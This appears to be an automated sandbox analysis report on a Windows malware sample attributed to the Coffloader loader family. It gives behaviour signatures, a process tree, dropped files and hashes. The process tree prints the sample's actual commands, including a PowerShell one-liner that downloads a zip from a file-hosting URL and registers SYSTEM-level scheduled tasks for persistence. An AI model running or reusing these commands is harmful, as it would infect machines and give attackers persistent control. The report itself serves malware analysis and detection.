Analysis

  • max time kernel
    299s
  • max time network
    299s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/08/2026, 08:37

General

  • Target
    Vat_N0.20260805114644.exe
  • Size 3.5MB
  • Sample260806-kjge3agg23
  • SHA256 b869fbddbda07a9b4e511f533b4b7ac2a161cc88dae0519e0e55347c74db94a8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Coffloader

    Coffloader is an open-source beacon loader written in C.

  • Detects Coffloader 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 8 IoCs
  • Enumerates connected drives 3 TTPs 22 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Discovers running processes 1 TTPs 5 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 14 IoCs
  • Drops file in Windows directory 6 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 4 IoCs
  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Program crash 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • System Location Discovery: System Language Discovery 1 TTPs 29 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 5 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 49 IoCs
  • Modifies registry class 10 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • cURL User-Agent 2 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Vat_N0.20260805114644.exe
    "C:\Users\Admin\AppData\Local\Temp\Vat_N0.20260805114644.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3524
    • C:\Windows\SysWOW64\cmd.exe
      /c C:\Windows\System32\ComputerDefaults.exe
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6360
      • C:\Windows\SysWOW64\ComputerDefaults.exe
        C:\Windows\System32\ComputerDefaults.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2468
        • C:\ProgramData\S-1-5-21-1427324246-3256501537-2580039833-4151\SystemAppData\MicrosoftEdgeUpdateOnDemand.EXE
          "MicrosoftEdgeUpdateOnDemand.EXE"
          4⤵
          • Enumerates connected drives
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1828
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /f /im cmd.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:7128
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c start "" /B cmd /C C:\Users\Admin\AppData\Local\Temp\BEAA01A0BB940DB1AAF.CMD
            5⤵
            • Executes a command shell one-liner
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:684
            • C:\Windows\SysWOW64\cmd.exe
              cmd /C C:\Users\Admin\AppData\Local\Temp\BEAA01A0BB940DB1AAF.CMD
              6⤵
              • Executes a command shell one-liner
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2760
              • C:\Windows\SysWOW64\tasklist.exe
                TASKLIST /FI "IMAGENAME eq MicrosoftEdgeUpdateOnDemand.EXE" /FO CSV
                7⤵
                • Discovers running processes
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:3404
              • C:\Windows\SysWOW64\find.exe
                FIND /I "MicrosoftEdgeUpdateOnDemand.EXE"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:4276
              • C:\Windows\SysWOW64\timeout.exe
                TIMEOUT /t 60 /nobreak
                7⤵
                • System Location Discovery: System Language Discovery
                • Delays execution with timeout.exe
                PID:3816
              • C:\Windows\SysWOW64\tasklist.exe
                TASKLIST /FI "IMAGENAME eq MicrosoftEdgeUpdateOnDemand.EXE" /FO CSV
                7⤵
                • Discovers running processes
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:2884
              • C:\Windows\SysWOW64\find.exe
                FIND /I "MicrosoftEdgeUpdateOnDemand.EXE"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:5836
              • C:\Windows\SysWOW64\timeout.exe
                TIMEOUT /t 60 /nobreak
                7⤵
                • System Location Discovery: System Language Discovery
                • Delays execution with timeout.exe
                PID:7140
              • C:\Windows\SysWOW64\tasklist.exe
                TASKLIST /FI "IMAGENAME eq MicrosoftEdgeUpdateOnDemand.EXE" /FO CSV
                7⤵
                • Discovers running processes
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:1972
              • C:\Windows\SysWOW64\find.exe
                FIND /I "MicrosoftEdgeUpdateOnDemand.EXE"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:2568
              • C:\Windows\SysWOW64\timeout.exe
                TIMEOUT /t 60 /nobreak
                7⤵
                • System Location Discovery: System Language Discovery
                • Delays execution with timeout.exe
                PID:7088
              • C:\Windows\SysWOW64\tasklist.exe
                TASKLIST /FI "IMAGENAME eq MicrosoftEdgeUpdateOnDemand.EXE" /FO CSV
                7⤵
                • Discovers running processes
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:5372
              • C:\Windows\SysWOW64\find.exe
                FIND /I "MicrosoftEdgeUpdateOnDemand.EXE"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:5492
              • C:\Windows\SysWOW64\timeout.exe
                TIMEOUT /t 60 /nobreak
                7⤵
                • System Location Discovery: System Language Discovery
                • Delays execution with timeout.exe
                PID:2768
              • C:\Windows\SysWOW64\tasklist.exe
                TASKLIST /FI "IMAGENAME eq MicrosoftEdgeUpdateOnDemand.EXE" /FO CSV
                7⤵
                • Discovers running processes
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:4808
              • C:\Windows\SysWOW64\find.exe
                FIND /I "MicrosoftEdgeUpdateOnDemand.EXE"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:2980
              • C:\Windows\SysWOW64\timeout.exe
                TIMEOUT /t 60 /nobreak
                7⤵
                • System Location Discovery: System Language Discovery
                • Delays execution with timeout.exe
                PID:4360
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:5928
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -ExecutionPolicy Bypass -Command "$d=Join-Path $env:TEMP 'WDFi01-fm'; $t='UserExecutionTask01-FM'; $z=Join-Path $d '33.zip'; if (!(Test-Path $d) -or !(Get-ChildItem $d\*.exe -Recurse) -or !(Get-ChildItem $d\*.dll -Recurse)) { schtasks /end /tn $t 2>$null; if (Test-Path $d) { Get-ChildItem $d\*.exe -Recurse | ForEach-Object { Stop-Process -Name $_.BaseName -Force -ErrorAction SilentlyContinue }; Remove-Item $d -Recurse -Force -ErrorAction SilentlyContinue }; New-Item -ItemType Directory -Path $d -Force >$null; curl.exe -skL 'https://store-na-phx-4.gofile.io/download/direct/caab5826-49dc-4a9e-b436-753a021e5e95/33.zip' -o $z; if ((Test-Path $z) -and ((Get-Item $z).Length -gt 100)) { try { Expand-Archive $z $d -Force; Remove-Item $z -Force } catch { Remove-Item $d -Recurse -Force -ErrorAction SilentlyContinue } } }; $e=(Get-ChildItem $d\*.exe -Recurse | Select-Object -First 1); if ($e) { $tr=[char]34 + $e.FullName + [char]34; & schtasks /create /tn $t /tr $tr /sc ONSTART /ru SYSTEM /rl HIGHEST /f; if (!(Get-Process $e.BaseName -ErrorAction SilentlyContinue)) { schtasks /run /tn $t; Start-Sleep -s 3; if (!(Get-Process $e.BaseName -ErrorAction SilentlyContinue)) { Start-Process -FilePath $e.FullName -WorkingDirectory $e.DirectoryName -WindowStyle Hidden; Start-Sleep -s 5; if (!(Get-Process $e.BaseName -ErrorAction SilentlyContinue)) { Unblock-File $e.FullName; $c='/c start /d '+[char]34+$e.DirectoryName+[char]34+' /b '+[char]34+$e.FullName+[char]34; Start-Process cmd.exe -ArgumentList $c -WindowStyle Hidden; & schtasks /create /tn $t /tr $tr /sc ONLOGON /ru SYSTEM /rl HIGHEST /f } } } }"
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:6756
              • C:\Windows\SysWOW64\schtasks.exe
                "C:\Windows\system32\schtasks.exe" /end /tn UserExecutionTask01-FM
                7⤵
                • System Location Discovery: System Language Discovery
                PID:1400
              • C:\Windows\SysWOW64\curl.exe
                "C:\Windows\system32\curl.exe" -skL https://store-na-phx-4.gofile.io/download/direct/caab5826-49dc-4a9e-b436-753a021e5e95/33.zip -o C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\33.zip
                7⤵
                • System Location Discovery: System Language Discovery
                PID:6564
              • C:\Windows\SysWOW64\schtasks.exe
                "C:\Windows\system32\schtasks.exe" /create /tn UserExecutionTask01-FM /tr "C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\zipwar.exe" /sc ONSTART /ru SYSTEM /rl HIGHEST /f
                7⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:6876
              • C:\Windows\SysWOW64\schtasks.exe
                "C:\Windows\system32\schtasks.exe" /run /tn UserExecutionTask01-FM
                7⤵
                • System Location Discovery: System Language Discovery
                PID:1156
  • C:\ProgramData\S-1-5-21-1427324246-3256501537-2580039833-4151\SystemAppData\MicrosoftEdgeUpdateOnDemand.EXE
    C:\ProgramData\S-1-5-21-1427324246-3256501537-2580039833-4151\SystemAppData\MicrosoftEdgeUpdateOnDemand.EXE
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    PID:5888
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5888 -s 792
      2⤵
      • Program crash
      PID:6904
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5888 -ip 5888
    1⤵
      PID:3972
    • C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\zipwar.exe
      "C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\zipwar.exe"
      1⤵
      • Downloads MZ/PE file
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Executes dropped EXE
      • Loads dropped DLL
      • Modifies data under HKEY_USERS
      PID:1172
    • C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\zipwar.exe
      C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\zipwar.exe
      1⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • Loads dropped DLL
      PID:6432

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          MicrosoftEdgeUpdateOnDemand.EXE

          • Path C:\ProgramData\S-1-5-21-1427324246-3256501537-2580039833-4151\SystemAppData\MicrosoftEdgeUpdateOnDemand.EXE
          • Size 3.5MB
          • SHA256 b869fbddbda07a9b4e511f533b4b7ac2a161cc88dae0519e0e55347c74db94a8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          pdfCORE8.dLl

          • Path C:\ProgramData\S-1-5-21-1427324246-3256501537-2580039833-4151\SystemAppData\pdfCORE8.dLl
          • Size 3.7MB
          • SHA256 5b2e7d59a3e4490d50053c01642277c5e906f0ba792a8e3ad4cc6e29b425acd5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          BEAA01A0BB940DB1AAF.CMD

          • Path C:\Users\Admin\AppData\Local\Temp\BEAA01A0BB940DB1AAF.CMD
          • Size 1KB
          • SHA256 2efa71d415a9d42d37421a6734fbb85d97910ae890f4036f464e177e81e3eca2
          • MD5 SHA1 SHA512 TLSH

          33.zip

          • Path C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\33.zip
          • Size 770KB
          • SHA256 8eef0ca2748c967736c41c149c8d1111a259716b8583ef8f0eef7b8a54e08d61
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libfabric.dll

          • Path C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\libfabric.dll
          • Size 1.9MB
          • SHA256 64b953e8d68c10a3625607d17f6200cd8962d7cfc76789a8fce7f61a8f29279b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          zipwar.exe

          • Path C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\zipwar.exe
          • Size 144KB
          • SHA256 f86af8533ca52c206ef1411e84a2b9c15b272e422c3b62a234ca0829b87a6fe8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          advapi32_dll_6432_1786005615481411100.dll

          • Path C:\Users\Admin\AppData\Local\Temp\advapi32_dll_6432_1786005615481411100.dll
          • Size 719KB
          • SHA256 9d3b59400a91b58f359d2a79874ec17d7cb6c6753012e7377c9bfd26b080d14a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ntdll.pdb

          • Path C:\Users\Admin\AppData\Local\Temp\av_symbol_cache\2e1b454917bd5c95\pdb\ntdll.pdb\219D0663E9DBAD581E64D9EC8618F5421\ntdll.pdb
          • Size 1.8MB
          • SHA256 f1f397540f246d8c5d810fc7f5bb3fc8aa5f5faa2195b3c02cccfc5d98caa77c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ntdll_dll_6432_1786005613071619700.dll

          • Path C:\Users\Admin\AppData\Local\Temp\ntdll_dll_6432_1786005613071619700.dll
          • Size 2.4MB
          • SHA256 4dfbbd3d58225196603c6e61a9a61a7f71b9712ee63c79431998e51b393b63e6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Rpcrt4_dll_1172_1786005654272093000.dll

          • Path C:\Windows\SystemTemp\Rpcrt4_dll_1172_1786005654272093000.dll
          • Size 1.1MB
          • SHA256 6ce9a729d5053902315f86616a6e459981b699fcea64f28531b6d4e3dceefd68
          • MD5 SHA1 SHA512 SSDEEP TLSH

          kernel32_dll_1172_1786005634708192400.dll

          • Path C:\Windows\SystemTemp\kernel32_dll_1172_1786005634708192400.dll
          • Size 808KB
          • SHA256 f694ab9ccf9d8c0b24003d14788b864a97c0f1ffe697ee043174626c30b96e2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1172-144-0x00007FFE57000000-0x00007FFE570C7000-memory.dmp

          memory/1172-175-0x0000000140000000-0x000000014001C000-memory.dmp

          memory/1172-152-0x00007FFE57A50000-0x00007FFE57B66000-memory.dmp

          memory/1172-106-0x00007FFE56AF0000-0x00007FFE56BA2000-memory.dmp

          memory/1172-97-0x00007FFE58280000-0x00007FFE584E3000-memory.dmp

          memory/1828-28-0x0000000004B50000-0x0000000004BA7000-memory.dmp

          memory/1828-29-0x0000000010000000-0x000000001001E000-memory.dmp

          memory/1828-12-0x0000000004B50000-0x0000000004BA7000-memory.dmp

          memory/1828-13-0x0000000004B50000-0x0000000004BA7000-memory.dmp

          memory/1828-11-0x0000000004B50000-0x0000000004BA7000-memory.dmp

          memory/1828-9-0x0000000004B50000-0x0000000004BA7000-memory.dmp

          memory/1828-8-0x0000000004B50000-0x0000000004BA7000-memory.dmp

          memory/6432-145-0x0000000140000000-0x000000014001C000-memory.dmp

          memory/6432-102-0x00007FFE58280000-0x00007FFE584E3000-memory.dmp

          memory/6432-110-0x00007FFE56AF0000-0x00007FFE56BA2000-memory.dmp

          memory/6432-114-0x00007FFE57000000-0x00007FFE570C7000-memory.dmp

          memory/6432-118-0x00007FFE57A50000-0x00007FFE57B66000-memory.dmp

          memory/6432-134-0x0000000140000000-0x000000014001C000-memory.dmp

          memory/6756-40-0x0000000004D30000-0x0000000004D52000-memory.dmp

          memory/6756-63-0x00000000072B0000-0x00000000072C2000-memory.dmp

          memory/6756-62-0x0000000007240000-0x0000000007251000-memory.dmp

          memory/6756-64-0x0000000007270000-0x000000000727A000-memory.dmp

          memory/6756-61-0x00000000070D0000-0x00000000070DA000-memory.dmp

          memory/6756-60-0x0000000008080000-0x00000000086FC000-memory.dmp

          memory/6756-59-0x0000000006F50000-0x0000000006FF3000-memory.dmp

          memory/6756-58-0x0000000006F20000-0x0000000006F40000-memory.dmp

          memory/6756-55-0x000000006E930000-0x000000006EC8B000-memory.dmp

          memory/6756-54-0x000000006E7D0000-0x000000006E81C000-memory.dmp

          memory/6756-53-0x0000000006EE0000-0x0000000006F16000-memory.dmp

          memory/6756-51-0x0000000007440000-0x00000000079FA000-memory.dmp

          memory/6756-49-0x0000000006050000-0x000000000606A000-memory.dmp

          memory/6756-50-0x00000000060D0000-0x00000000060F2000-memory.dmp

          memory/6756-48-0x0000000006DE0000-0x0000000006E76000-memory.dmp

          memory/6756-47-0x00000000057C0000-0x000000000580C000-memory.dmp

          memory/6756-46-0x0000000005760000-0x000000000577E000-memory.dmp

          memory/6756-45-0x0000000005820000-0x0000000005B7B000-memory.dmp

          memory/6756-42-0x00000000055B0000-0x0000000005616000-memory.dmp

          memory/6756-41-0x0000000005540000-0x00000000055A6000-memory.dmp

          memory/6756-39-0x0000000004D80000-0x00000000053CA000-memory.dmp

          memory/6756-38-0x0000000004610000-0x0000000004646000-memory.dmp